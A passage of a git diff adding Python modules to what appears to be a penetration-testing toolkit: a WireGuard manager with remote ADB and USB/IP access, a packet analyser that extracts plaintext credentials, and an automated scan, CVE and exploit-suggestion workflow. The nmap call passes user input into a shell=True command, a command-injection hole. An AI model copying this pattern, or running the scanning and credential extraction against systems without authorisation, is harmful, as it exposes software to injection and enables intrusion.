clients[idx]['assigned_ip'] + print(" Invalid selection.") + return None + return val + + # ── Server ───────────────────────────────────────────────────── + + def do_server_status(self): + status = self.mgr.get_server_status() + print(f"\n Server Status:") + print(f" Interface: {status.get('interface', 'wg0')}") + print(f" Running: {status.get('running', False)}") + print(f" Public Key: {status.get('public_key', 'N/A')}") + print(f" Endpoint: {status.get('endpoint', 'N/A')}") + print(f" Listen Port: {status.get('listen_port', 'N/A')}") + print(f" Peers: {status.get('peer_count', 0)}") + if status.get('error'): + print(f" Error: {status['error']}") + + def do_start(self): + print(" Starting WireGuard interface...") + result = self.mgr.start_interface() + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_stop(self): + print(" Stopping WireGuard interface...") + result = self.mgr.stop_interface() + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_restart(self): + print(" Restarting WireGuard interface...") + result = self.mgr.restart_interface() + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + # ── Clients ──────────────────────────────────────────────────── + + def do_list_clients(self): + clients = self.mgr.get_all_clients() + peer_status = self.mgr.get_peer_status() + if not clients: + print("\n No clients configured.") + return + print(f"\n {'Name':<20} {'IP':<16} {'Status':<8} {'Handshake':<20} {'RX/TX'}") + print(f" {'-'*80}") + for c in clients: + ps = peer_status.get(c.get('public_key', ''), {}) + hs = ps.get('latest_handshake') + hs_str = ps.get('latest_handshake_str', 'never') + if hs is not None and hs < 180: + status = 'ONLINE' + elif hs is not None: + status = 'idle' + else: + status = 'offline' + if not c.get('enabled', True): + status = 'disabled' + rx = ps.get('transfer_rx_str', '-') + tx = ps.get('transfer_tx_str', '-') + print(f" {c['name']:<20} {c['assigned_ip']:<16} {status:<8} " + f"{hs_str:<20} {rx}/{tx}") + + def do_create_client(self): + try: + name = input(" Client name: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not name: + print(" Name required.") + return + try: + dns = input(f" DNS [{self.mgr._default_dns}]: ").strip() + allowed = input(f" Allowed IPs [{self.mgr._default_allowed_ips}]: ").strip() + except (EOFError, KeyboardInterrupt): + return + print(f" Creating client '{name}'...") + result = self.mgr.create_client( + name, + dns=dns or None, + allowed_ips=allowed or None) + if result.get('ok'): + client = result['client'] + print(f" Created: {client['name']} ({client['assigned_ip']})") + print(f" ID: {client['id']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_view_client(self): + client = self._pick_client() + if not client: + return + print(f"\n Client: {client['name']}") + print(f" ID: {client['id']}") + print(f" IP: {client['assigned_ip']}") + print(f" Public Key: {client['public_key']}") + print(f" PSK: {'Yes' if client.get('preshared_key') else 'No'}") + print(f" DNS: {client.get('dns', 'default')}") + print(f" Allowed IPs: {client.get('allowed_ips', 'default')}") + print(f" Enabled: {client.get('enabled', True)}") + print(f" Created: {client.get('created_at', 'N/A')}") + + # Show live status + peer_status = self.mgr.get_peer_status() + ps = peer_status.get(client['public_key'], {}) + if ps: + print(f" Handshake: {ps.get('latest_handshake_str', 'never')}") + print(f" Endpoint: {ps.get('endpoint', 'N/A')}") + print(f" RX: {ps.get('transfer_rx_str', '-')}") + print(f" TX: {ps.get('transfer_tx_str', '-')}") + + def do_delete_client(self): + client = self._pick_client() + if not client: + return + try: + confirm = input(f" Delete '{client['name']}'? (y/N): ").strip().lower() + except (EOFError, KeyboardInterrupt): + return + if confirm != 'y': + print(" Cancelled.") + return + result = self.mgr.delete_client(client['id']) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_toggle_client(self): + client = self._pick_client() + if not client: + return + current = client.get('enabled', True) + new_state = not current + action = 'Enable' if new_state else 'Disable' + try: + confirm = input(f" {action} '{client['name']}'? (y/N): ").strip().lower() + except (EOFError, KeyboardInterrupt): + return + if confirm != 'y': + print(" Cancelled.") + return + result = self.mgr.toggle_client(client['id'], new_state) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_import_peers(self): + print(" Importing existing peers from wg0.conf...") + result = self.mgr.import_existing_peers() + if result.get('ok'): + print(f" Imported {result['imported']} peers.") + else: + print(f" Error: {result.get('error', 'Failed')}") + + # ── Remote ADB ───────────────────────────────────────────────── + + def do_adb_connect(self): + clients = self.mgr.get_all_clients() + if clients: + print("\n Available clients:") + for i, c in enumerate(clients, 1): + print(f" {i}) {c['name']} ({c['assigned_ip']})") + ip = self._pick_client_ip() + if not ip: + return + print(f" Connecting to {ip}:5555...") + result = self.mgr.adb_connect(ip) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_adb_disconnect(self): + ip = self._pick_client_ip(" Client IP to disconnect: ") + if not ip: + return + result = self.mgr.adb_disconnect(ip) + print(f" {result.get('message', 'Done')}") + + def do_auto_connect(self): + print(" Auto-connecting to all active WG peers...") + result = self.mgr.auto_connect_peers() + for r in result.get('results', []): + status = "OK" if r['result'].get('ok') else "FAIL" + print(f" [{status}] {r['name']} ({r['ip']}): " + f"{r['result'].get('message', r['result'].get('error', ''))}") + if not result.get('results'): + print(" No active peers found.") + + def do_list_adb_devices(self): + devices = self.mgr.get_adb_remote_devices() + if not devices: + print("\n No remote ADB devices connected via WireGuard.") + return + print(f"\n Remote ADB Devices:") + for d in devices: + print(f" {d['serial']} - {d['state']} " + f"{'(' + d['model'] + ')' if d.get('model') else ''}") + + # ── USB/IP ───────────────────────────────────────────────────── + + def do_usbip_status(self): + status = self.mgr.get_usbip_status() + print(f"\n USB/IP Status:") + print(f" Available: {status['available']}") + print(f" Modules loaded: {status['modules_loaded']}") + print(f" Active imports: {status['active_imports']}") + if status.get('ports'): + for p in status['ports']: + print(f" Port {p['port']}: {p['status']}") + + def do_load_modules(self): + result = self.mgr.load_usbip_modules() + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_list_remote_usb(self): + ip = self._pick_client_ip() + if not ip: + return + print(f" Listing USB devices on {ip}...") + result = self.mgr.usbip_list_remote(ip) + if not result.get('ok'): + print(f" Error: {result.get('error', 'Failed')}") + return + devices = result.get('devices', []) + if not devices: + print(" No exportable USB devices found.") + return + for d in devices: + print(f" [{d['busid']}] {d['description']}") + + def do_attach_usb(self): + ip = self._pick_client_ip(" Remote host IP: ") + if not ip: + return + # List devices first + result = self.mgr.usbip_list_remote(ip) + devices = result.get('devices', []) + if not devices: + print(" No exportable devices found.") + return + print("\n Available devices:") + for i, d in enumerate(devices, 1): + print(f" {i}) [{d['busid']}] {d['description']}") + try: + choice = input(" Attach #: ").strip() + except (EOFError, KeyboardInterrupt): + return + if choice.isdigit(): + idx = int(choice) - 1 + if 0 <= idx < len(devices): + busid = devices[idx]['busid'] + else: + print(" Invalid selection.") + return + else: + busid = choice + + print(f" Attaching {busid} from {ip}...") + result = self.mgr.usbip_attach(ip, busid) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_detach_usb(self): + # Show current ports + ports = self.mgr.usbip_port_status() + if not ports.get('ports'): + print(" No attached USB/IP devices.") + return + print("\n Attached ports:") + for p in ports['ports']: + print(f" Port {p['port']}: {p['status']}") + try: + port = input(" Detach port #: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not port: + return + result = self.mgr.usbip_detach(port) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_list_ports(self): + result = self.mgr.usbip_port_status() + if not result.get('ok'): + print(f" Error: {result.get('error', 'Failed')}") + return + ports = result.get('ports', []) + if not ports: + print(" No attached USB/IP ports.") + return + for p in ports: + detail = f" - {p['detail']}" if p.get('detail') else '' + print(f" Port {p['port']}: {p['status']}{detail}") + + # ── Config ───────────────────────────────────────────────────── + + def do_gen_config(self): + client = self._pick_client() + if not client: + return + config = self.mgr.generate_client_config(client) + print(f"\n Config for {client['name']}:\n") + print(f" {'─'*40}") + for line in config.split('\n'): + print(f" {line}") + print(f" {'─'*40}") + + def do_show_qr(self): + client = self._pick_client() + if not client: + return + config = self.mgr.generate_client_config(client) + try: + import qrcode + qr = qrcode.QRCode(box_size=1, border=1) + qr.add_data(config) + qr.make(fit=True) + qr.print_ascii(invert=True) + except ImportError: + print(" qrcode module not installed. Install: pip install qrcode") + + def do_refresh_upnp(self): + print(" Refreshing UPnP mapping for WireGuard port...") + result = self.mgr.refresh_upnp_mapping() + if result.get('ok'): + print(f" UPnP mapping refreshed.") + else: + print(f" Error: {result.get('error', 'Failed')}") + + # ── Main Loop ────────────────────────────────────────────────── + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + + actions = { + '1': self.do_server_status, + '2': self.do_start, + '3': self.do_stop, + '4': self.do_restart, + '10': self.do_list_clients, + '11': self.do_create_client, + '12': self.do_view_client, + '13': self.do_delete_client, + '14': self.do_toggle_client, + '15': self.do_import_peers, + '20': self.do_adb_connect, + '21': self.do_adb_disconnect, + '22': self.do_auto_connect, + '23': self.do_list_adb_devices, + '30': self.do_usbip_status, + '31': self.do_load_modules, + '32': self.do_list_remote_usb, + '33': self.do_attach_usb, + '34': self.do_detach_usb, + '35': self.do_list_ports, + '40': self.do_gen_config, + '41': self.do_show_qr, + '42': self.do_refresh_upnp, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + wg = WireGuardVPN() + wg.run_interactive() diff --git a/modules/wireshark.py b/modules/wireshark.py new file mode 100644 index 0000000..ef46f97 --- /dev/null +++ b/modules/wireshark.py @@ -0,0 +1,283 @@ +""" +AUTARCH Wireshark Module +Packet capture and analysis (scapy + optional tshark) + +Live capture, PCAP analysis, protocol/conversation/DNS/HTTP analysis, +credential detection. +""" + +import os +import sys +from pathlib import Path + +# Module metadata +DESCRIPTION = "Packet capture & analysis (scapy)" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner +from core.wireshark import get_wireshark_manager + + +class PacketAnalyzer: + """Packet capture and analysis tools.""" + + def __init__(self): + self.mgr = get_wireshark_manager() + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def show_menu(self): + while True: + clear_screen() + display_banner() + print(f"\n{Colors.BOLD}Wireshark / Packet Analysis{Colors.RESET}") + + # Status + status = self.mgr.get_status() + engine = [] + if status['scapy']: + engine.append(f'{Colors.GREEN}scapy{Colors.RESET}') + else: + engine.append(f'{Colors.RED}scapy (missing){Colors.RESET}') + if status['tshark']: + engine.append(f'{Colors.GREEN}tshark{Colors.RESET}') + else: + engine.append(f'{Colors.YELLOW}tshark (not found){Colors.RESET}') + print(f" Engine: {' + '.join(engine)}") + if status['can_capture']: + print(f" Live capture: {Colors.GREEN}available{Colors.RESET}") + else: + print(f" Live capture: {Colors.YELLOW}needs root{Colors.RESET}") + + print(f"\n {Colors.CYAN}[1]{Colors.RESET} List Interfaces") + print(f" {Colors.CYAN}[2]{Colors.RESET} Start Live Capture") + print(f" {Colors.CYAN}[3]{Colors.RESET} Open PCAP File") + print(f" {Colors.CYAN}[4]{Colors.RESET} Protocol Analysis") + print(f" {Colors.CYAN}[5]{Colors.RESET} Conversation Analysis") + print(f" {Colors.CYAN}[6]{Colors.RESET} DNS Query Analysis") + print(f" {Colors.CYAN}[7]{Colors.RESET} HTTP Traffic Analysis") + print(f" {Colors.CYAN}[8]{Colors.RESET} Credential Detection") + print(f" {Colors.CYAN}[9]{Colors.RESET} Export Results") + print(f" {Colors.CYAN}[0]{Colors.RESET} Back") + + choice = input(f"\n{Colors.WHITE}Select option: {Colors.RESET}").strip() + + if choice == '0': + break + elif choice == '1': + self.list_interfaces() + elif choice == '2': + self.start_capture() + elif choice == '3': + self.open_pcap() + elif choice == '4': + self.protocol_analysis() + elif choice == '5': + self.conversation_analysis() + elif choice == '6': + self.dns_analysis() + elif choice == '7': + self.http_analysis() + elif choice == '8': + self.credential_detection() + elif choice == '9': + self.export_results() + + def list_interfaces(self): + """List network interfaces.""" + print(f"\n{Colors.BOLD}Network Interfaces{Colors.RESET}") + interfaces = self.mgr.list_interfaces() + if not interfaces: + self.print_status("No interfaces found", "error") + else: + for i, iface in enumerate(interfaces, 1): + desc = f" ({iface['description']})" if iface.get('description') else '' + print(f" {Colors.CYAN}{i}.{Colors.RESET} {iface['name']}{desc}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def start_capture(self): + """Start a live packet capture.""" + print(f"\n{Colors.BOLD}Live Capture{Colors.RESET}") + + if not self.mgr.can_capture: + self.print_status("Root privileges required for live capture", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Show interfaces + interfaces = self.mgr.list_interfaces() + for i, iface in enumerate(interfaces, 1): + print(f" {i}. {iface['name']}") + + iface_input = input(f"\n{Colors.WHITE}Interface (name or number, Enter for default): {Colors.RESET}").strip() + interface = None + if iface_input: + try: + idx = int(iface_input) - 1 + if 0 <= idx < len(interfaces): + interface = interfaces[idx]['name'] + except ValueError: + interface = iface_input + + bpf = input(f"{Colors.WHITE}BPF filter (e.g., 'tcp port 80', Enter for all): {Colors.RESET}").strip() or None + duration_str = input(f"{Colors.WHITE}Duration in seconds (default 30): {Colors.RESET}").strip() + duration = int(duration_str) if duration_str.isdigit() else 30 + + self.print_status(f"Starting capture on {interface or 'default'} for {duration}s...", "info") + + result = self.mgr.start_capture(interface=interface, bpf_filter=bpf, duration=duration) + if 'error' in result: + self.print_status(result['error'], "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + self.print_status(f"Capturing... Output: {result.get('file', '')}", "info") + + # Wait for capture to complete + import time + try: + while self.mgr._capture_running: + stats = self.mgr.get_capture_stats() + print(f"\r Packets: {stats.get('packet_count', 0)}", end='', flush=True) + time.sleep(1) + except KeyboardInterrupt: + self.mgr.stop_capture() + + stats = self.mgr.get_capture_stats() + print() + self.print_status(f"Capture complete: {stats.get('packet_count', 0)} packets", "success") + if stats.get('output_file'): + self.print_status(f"Saved to: {stats['output_file']}", "info") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def open_pcap(self): + """Open and load a PCAP file.""" + print(f"\n{Colors.BOLD}Open PCAP File{Colors.RESET}") + filepath = input(f"{Colors.WHITE}PCAP file path: {Colors.RESET}").strip() + if not filepath: + return + + self.print_status(f"Loading {filepath}...", "info") + result = self.mgr.read_pcap(filepath) + + if 'error' in result: + self.print_status(result['error'], "error") + else: + self.print_status(f"Loaded {result['total_packets']} packets from {result['file']}", "success") + # Show first few packets + for pkt in result['packets'][:20]: + print(f" {pkt.get('src','?'):>15} -> {pkt.get('dst','?'):<15} {pkt.get('protocol',''):>8} {pkt.get('info','')}") + if result['total_packets'] > 20: + print(f" ... and {result['total_packets'] - 20} more packets") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def protocol_analysis(self): + """Show protocol distribution.""" + print(f"\n{Colors.BOLD}Protocol Analysis{Colors.RESET}") + result = self.mgr.get_protocol_hierarchy() + + if result['total'] == 0: + self.print_status("No packets loaded. Open a PCAP or run a capture first.", "warning") + else: + print(f" Total packets: {result['total']}\n") + for proto, data in result['protocols'].items(): + bar_len = int(data['percent'] / 2) + bar = '█' * bar_len + print(f" {proto:<12} {data['count']:>6} {data['percent']:>5.1f}% {Colors.CYAN}{bar}{Colors.RESET}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def conversation_analysis(self): + """Show IP conversations.""" + print(f"\n{Colors.BOLD}Conversation Analysis{Colors.RESET}") + convos = self.mgr.extract_conversations() + + if not convos: + self.print_status("No packets loaded.", "warning") + else: + print(f" {'Source':<20} {'Destination':<20} {'Packets':>8} {'Bytes':>10} {'Protocols'}") + print(f" {'─'*20} {'─'*20} {'─'*8} {'─'*10} {'─'*20}") + for c in convos[:30]: + protos = ', '.join(c['protocols'][:3]) + print(f" {c['src']:<20} {c['dst']:<20} {c['packets']:>8} {c['bytes']:>10} {protos}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def dns_analysis(self): + """Show DNS queries.""" + print(f"\n{Colors.BOLD}DNS Query Analysis{Colors.RESET}") + queries = self.mgr.extract_dns_queries() + + if not queries: + self.print_status("No DNS queries found.", "warning") + else: + print(f" {'Query':<40} {'Type':<6} {'Count':>6} {'Response'}") + print(f" {'─'*40} {'─'*6} {'─'*6} {'─'*30}") + for q in queries[:40]: + resp = q.get('response', '')[:30] + print(f" {q['query']:<40} {q['type']:<6} {q['count']:>6} {resp}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def http_analysis(self): + """Show HTTP requests.""" + print(f"\n{Colors.BOLD}HTTP Traffic Analysis{Colors.RESET}") + requests = self.mgr.extract_http_requests() + + if not requests: + self.print_status("No HTTP requests found.", "warning") + else: + for r in requests[:30]: + method = r.get('method', '?') + host = r.get('host', '') + path = r.get('path', '')[:60] + src = r.get('src', '') + color = Colors.GREEN if method == 'GET' else Colors.YELLOW + print(f" {color}{method:<7}{Colors.RESET} {host}{path} from {src}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def credential_detection(self): + """Detect plaintext credentials.""" + print(f"\n{Colors.BOLD}Credential Detection{Colors.RESET}") + creds = self.mgr.extract_credentials() + + if not creds: + self.print_status("No plaintext credentials detected.", "info") + else: + self.print_status(f"Found {len(creds)} credential artifacts!", "warning") + for c in creds: + print(f" {Colors.RED}[{c['protocol']}]{Colors.RESET} {c['type']}: {c['value']} ({c['src']} -> {c['dst']})") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def export_results(self): + """Export packets.""" + print(f"\n{Colors.BOLD}Export Results{Colors.RESET}") + print(f" {Colors.CYAN}[1]{Colors.RESET} Export as JSON") + print(f" {Colors.CYAN}[2]{Colors.RESET} Export as CSV") + + choice = input(f"\n{Colors.WHITE}Select format: {Colors.RESET}").strip() + fmt = 'csv' if choice == '2' else 'json' + + result = self.mgr.export_packets(fmt=fmt) + if 'error' in result: + self.print_status(result['error'], "error") + else: + self.print_status(f"Exported {result['count']} packets to {result['filepath']}", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + +def run(): + """Module entry point.""" + analyzer = PacketAnalyzer() + analyzer.show_menu() diff --git a/modules/workflow.py b/modules/workflow.py new file mode 100644 index 0000000..4633b6c --- /dev/null +++ b/modules/workflow.py @@ -0,0 +1,549 @@ +""" +AUTARCH Workflow Module +Automated pentest pipeline orchestration + +Run multi-step security assessments with automated data flow between tools. +""" + +import os +import sys +import json +import subprocess +import re +import time +from pathlib import Path +from datetime import datetime + +# Module metadata +DESCRIPTION = "Automated pentest workflow" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class WorkflowRunner: + """Orchestrate multi-step pentest workflows.""" + + def __init__(self): + self.results_dir = Path("results") + self.results_dir.mkdir(exist_ok=True) + + def print_status(self, msg, level="info"): + icons = {"info": f"{Colors.CYAN}[*]", "success": f"{Colors.GREEN}[+]", + "warning": f"{Colors.YELLOW}[!]", "error": f"{Colors.RED}[-]"} + icon = icons.get(level, icons["info"]) + print(f" {icon} {msg}{Colors.RESET}") + + # ========================================================================= + # MENU + # ========================================================================= + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Automated Workflow{Colors.RESET}") + print(f"{Colors.DIM} Multi-step pentest pipeline orchestration{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.RED}[1]{Colors.RESET} New Workflow {Colors.DIM}- Full automated pipeline{Colors.RESET}") + print(f" {Colors.RED}[2]{Colors.RESET} Quick Scan {Colors.DIM}- Nmap → CVE → Report (no LLM){Colors.RESET}") + print(f" {Colors.RED}[3]{Colors.RESET} Resume Workflow {Colors.DIM}- Load saved state{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + # ========================================================================= + # NMAP SCAN (shared helper) + # ========================================================================= + + def _nmap_service_scan(self, target): + """Run nmap service detection scan on target.""" + self.print_status(f"Running nmap -sV -T4 on {target}...", "info") + try: + result = subprocess.run( + f"nmap -sV --top-ports 20 -T4 {target}", + shell=True, capture_output=True, text=True, timeout=300 + ) + if result.returncode != 0: + self.print_status("nmap scan failed", "error") + return [] + + services = [] + port_re = re.compile(r'(\d+)/(tcp|udp)\s+open\s+(\S+)\s*(.*)') + for line in result.stdout.split('\n'): + m = port_re.match(line.strip()) + if m: + parts = m.group(4).strip().split() + services.append({ + 'port': int(m.group(1)), + 'protocol': m.group(2), + 'service': parts[0] if parts else m.group(3), + 'version': ' '.join(parts[1:]) if len(parts) > 1 else '' + }) + + self.print_status(f"Found {len(services)} open services", "success") + return services + + except subprocess.TimeoutExpired: + self.print_status("nmap timed out after 5 minutes", "error") + return [] + except Exception as e: + self.print_status(f"Scan error: {e}", "error") + return [] + + # ========================================================================= + # CVE CORRELATION (shared helper) + # ========================================================================= + + def _correlate_cves(self, services): + """Correlate services with CVEs from the database.""" + try: + from core.cve import get_cve_db + cve_db = get_cve_db() + except Exception as e: + self.print_status(f"CVE database unavailable: {e}", "warning") + return [] + + SERVICE_TO_CPE = { + 'apache': ('apache', 'http_server'), 'nginx': ('f5', 'nginx'), + 'openssh': ('openbsd', 'openssh'), 'ssh': ('openbsd', 'openssh'), + 'mysql': ('oracle', 'mysql'), 'postgresql': ('postgresql', 'postgresql'), + 'samba': ('samba', 'samba'), 'smb': ('samba', 'samba'), + 'vsftpd': ('vsftpd_project', 'vsftpd'), 'proftpd': ('proftpd', 'proftpd'), + 'postfix': ('postfix', 'postfix'), 'dovecot': ('dovecot', 'dovecot'), + 'php': ('php', 'php'), 'tomcat': ('apache', 'tomcat'), + 'isc': ('isc', 'bind'), 'bind': ('isc', 'bind'), + } + + correlations = [] + for svc in services: + self.print_status(f"Checking CVEs for {svc['service']}:{svc.get('version', '?')} on port {svc['port']}...", "info") + + cves = [] + svc_lower = svc['service'].lower() + version = svc.get('version', '').split()[0] if svc.get('version') else '' + + if svc_lower in SERVICE_TO_CPE and version: + vendor, product = SERVICE_TO_CPE[svc_lower] + cpe = f"cpe:2.3:a:{vendor}:{product}:{version}:*:*:*:*:*:*:*" + try: + cves = cve_db.search_cves(cpe_pattern=cpe) + except Exception: + pass + + if not cves and version: + try: + cves = cve_db.search_cves(keyword=f"{svc['service']} {version}") + except Exception: + pass + + if cves: + self.print_status(f" Found {len(cves)} CVEs", "success") + else: + self.print_status(f" No CVEs found", "info") + + correlations.append({ + 'service': svc, + 'cves': cves[:20] # cap per service + }) + + return correlations + + # ========================================================================= + # FULL WORKFLOW + # ========================================================================= + + def run_workflow(self, target): + """Run full automated pentest workflow.""" + clear_screen() + display_banner() + print(f"{Colors.RED}{Colors.BOLD} Full Workflow - {target}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + state = { + 'target': target, + 'started': datetime.now().isoformat(), + 'services': [], + 'correlations': [], + 'exploits': [], + 'report': None, + 'current_step': 1 + } + state_file = self.results_dir / f"workflow_{target.replace('.', '-').replace('/', '_')}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json" + + # Step 1: Nmap scan + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 1/4: Service Detection{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}") + services = self._nmap_service_scan(target) + state['services'] = services + state['current_step'] = 2 + self._save_state(state, state_file) + + if not services: + self.print_status("No services found. Workflow cannot continue.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + cont = input(f"\n{Colors.WHITE} Continue to CVE correlation? [Y/n]: {Colors.RESET}").strip().lower() + if cont == 'n': + self.print_status(f"State saved to {state_file}", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Step 2: CVE correlation + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 2/4: CVE Correlation{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}") + correlations = self._correlate_cves(services) + state['correlations'] = correlations + state['current_step'] = 3 + self._save_state(state, state_file) + + total_cves = sum(len(c.get('cves', [])) for c in correlations) + self.print_status(f"Total CVEs found: {total_cves}", "success" if total_cves > 0 else "info") + + cont = input(f"\n{Colors.WHITE} Continue to exploit suggestion? [Y/n]: {Colors.RESET}").strip().lower() + if cont == 'n': + # Skip to report + self._generate_workflow_report(state) + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Step 3: Exploit suggestion (LLM) + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 3/4: Exploit Suggestion{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}") + exploits = self._suggest_exploits(services, correlations) + state['exploits'] = exploits + state['current_step'] = 4 + self._save_state(state, state_file) + + cont = input(f"\n{Colors.WHITE} Generate report? [Y/n]: {Colors.RESET}").strip().lower() + if cont == 'n': + self.print_status(f"State saved to {state_file}", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Step 4: Report + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 4/4: Report Generation{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}") + self._generate_workflow_report(state) + state['current_step'] = 5 + self._save_state(state, state_file) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # QUICK SCAN + # ========================================================================= + + def quick_scan(self, target): + """Run quick scan: Nmap → CVE → Report (no LLM).""" + clear_screen() + display_banner() + print(f"{Colors.RED}{Colors.BOLD} Quick Scan - {target}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + start_time = time.time() + + # Step 1: Nmap + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 1/3: Service Detection{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}") + services = self._nmap_service_scan(target) + if not services: + self.print_status("No services found.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Step 2: CVE correlation + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 2/3: CVE Correlation{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}") + correlations = self._correlate_cves(services) + + total_cves = sum(len(c.get('cves', [])) for c in correlations) + self.print_status(f"Total CVEs found: {total_cves}", "success" if total_cves > 0 else "info") + + # Step 3: Report + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 3/3: Report Generation{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}") + + scan_time = time.time() - start_time + state = { + 'target': target, + 'services': services, + 'correlations': correlations, + 'exploits': [], + 'scan_time': scan_time + } + self._generate_workflow_report(state) + + self.print_status(f"Quick scan completed in {scan_time:.1f}s", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # RESUME WORKFLOW + # ========================================================================= + + def resume_workflow(self): + """Resume a saved workflow from JSON state.""" + clear_screen() + display_banner() + print(f"{Colors.RED}{Colors.BOLD} Resume Workflow{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + state_files = sorted(self.results_dir.glob("workflow_*.json")) + if not state_files: + self.print_status("No saved workflows found.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + for i, f in enumerate(state_files, 1): + try: + with open(f, 'r') as fh: + data = json.load(fh) + target = data.get('target', '?') + step = data.get('current_step', '?') + started = data.get('started', '?') + print(f" {Colors.RED}[{i}]{Colors.RESET} {f.name}") + print(f" {Colors.DIM}Target: {target} | Step: {step}/4 | Started: {started}{Colors.RESET}") + except Exception: + print(f" {Colors.RED}[{i}]{Colors.RESET} {f.name} {Colors.DIM}(corrupt){Colors.RESET}") + print(f"\n {Colors.DIM}[0]{Colors.RESET} Back") + + sel = input(f"\n{Colors.WHITE} Select: {Colors.RESET}").strip() + if sel == "0": + return + + try: + idx = int(sel) - 1 + with open(state_files[idx], 'r') as f: + state = json.load(f) + except (ValueError, IndexError, json.JSONDecodeError) as e: + self.print_status(f"Error: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + target = state.get('target', '') + current_step = state.get('current_step', 1) + state_file = state_files[idx] + + self.print_status(f"Resuming workflow for {target} at step {current_step}/4", "info") + + if current_step <= 1: + services = self._nmap_service_scan(target) + state['services'] = services + state['current_step'] = 2 + self._save_state(state, state_file) + else: + services = state.get('services', []) + + if not services: + self.print_status("No services available.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + if current_step <= 2: + print(f"\n{Colors.CYAN}{Colors.BOLD} Step 2/4: CVE Correlation{Colors.RESET}") + correlations = self._correlate_cves(services) + state['correlations'] = correlations + state['current_step'] = 3 + self._save_state(state, state_file) + else: + correlations = state.get('correlations', []) + + if current_step <= 3: + cont = input(f"\n{Colors.WHITE} Run exploit suggestion? [Y/n]: {Colors.RESET}").strip().lower() + if cont 